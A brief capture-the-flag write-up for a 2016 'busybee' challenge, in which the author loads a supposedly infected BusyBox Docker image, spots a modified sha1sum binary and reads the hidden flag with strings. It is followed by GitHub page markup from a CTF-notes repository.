## Solution
Downloading the infected tar we get the following file structure
```~/fun/ctf/backdoorctf-2016/busybee$ tree.├── 2b0fbc0e1ac044737fd881cff8164bb5a2c7bfbf90c40c87de3c3435f2c6a94e│ ├── json│ ├── layer.tar│ └── VERSION├── 983179bdb58ea980ec1fe7c45f63571d49b140bdd629f234be9c00a6edd8a4a7│ ├── json│ ├── layer.tar│ └── VERSION├── d51a083a3b01fe8c58086903595b91fc975de59a9e9ececec755df384a181026│ ├── json│ ├── layer.tar│ └── VERSION├── eaa21323de5e2cce7078df3af4dd292181114dfc94be761b948657efbe3af26b.json├── manifest.json└── repositories```This structure is the structure of a docker image (https://github.com/docker/docker/blob/master/image/spec/v1.md). Lets try to install the image locally and to see what it is.
```~/fun/ctf/backdoorctf-2016/busybee$ docker load < infected.tar~/fun/ctf/backdoorctf-2016/busybee$ sudo docker imagesREPOSITORY TAG IMAGE ID CREATED SIZEbusybox-1.24.1-infected latest eaa21323de5e 4 days ago 2.144 MB```
Nice, it worked. The next step is try to run
```/fun/ctf/backdoorctf-2016/busybee$ sudo docker run -i -t busybox-1.24.1-infected /bin/sh/ # iduid=0(root) gid=0(root) groups=10(wheel)/ # ```
Since the problem text mentions a "deadly virus", the first guess is trying to see if any of the binaries on the system are infected.
```~ # ls -l /bin/(...)-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 setfont-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 setkeycodes-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 setlogcons-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 setserial-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 setsid-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 setuidgid-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 sh-rwxr-xr-x 2 root root 1031328 Jun 3 16:11 sha1sum-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 sha256sum-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 sha3sum-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 sha512sum-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 showkey-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 shuf-rwxr-xr-x 365 root root 1031256 Mar 15 19:38 slattach(...)```
Hmm, the sha1sum binary was changed (all the other binaries on the directory have the same date), lets try our luck...
```~ # strings /bin/sha1sum(...)THIS IS WHAT YOU ARE LOOKING FOR: ?????????????????????????????????????? (find it yourself)```
And voilá - we get the flag
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-notes/2016-securityfest.ctf.rocks at master · 73696e65/ctf-notes · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B32E:0D35:12C53959:1346D79B:6412294E" data-pjax-transient="true"/><meta name="html-safe-nonce" content="aba8761d95a19f1d71d420ff8212f597f71036781c4f538e57920ab305918574" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMzJFOjBEMzU6MTJDNTM5NTk6MTM0NkQ3OUI6NjQxMjI5NEUiLCJ2aXNpdG9yX2lkIjoiMTQ0NTMzNTU3MTQyNTc5ODQ3OCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="482d7df78e9e4032ee63629495afb11c4932f943c3e4260b1e12f70cc76258e6" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:66079706" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to 73696e65/ctf-notes development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f614a3fdda4b22d16fde61e5e6e23d316445fac8571c363512730df90c7ddb81/73696e65/ctf-notes" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-notes/2016-securityfest.ctf.rocks at master · 73696e65/ctf-notes" /><meta name="twitter:description" content="Contribute to 73696e65/ctf-notes development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f614a3fdda4b22d16fde61e5e6e23d316445fac8571c363512730df90c7ddb81/73696e65/ctf-notes" /><meta property="og:image:alt" content="Contribute to 73696e65/ctf-notes development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-notes/2016-securityfest.ctf.rocks at master · 73696e65/ctf-notes" /><meta property="og:url" content="https://github.com/73696e65/ctf-notes" /><meta property="og:description" content="Contribute to 73696e65/ctf-notes development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/73696e65/ctf-notes git https://github.com/73696e65/ctf-notes.git">
<meta name="octolytics-dimension-user_id" content="406276" /><meta name="octolytics-dimension-user_login" content="73696e65" /><meta name="octolytics-dimension-repository_id" content="66079706" /><meta name="octolytics-dimension-repository_nwo" content="73696e65/ctf-notes" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="66079706" /><meta name="octolytics-dimension-repository_network_root_nwo" content="73696e65/ctf-notes" />
<link rel="canonical" href="https://github.com/73696e65/ctf-notes/tree/master/2016-securityfest.ctf.rocks" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
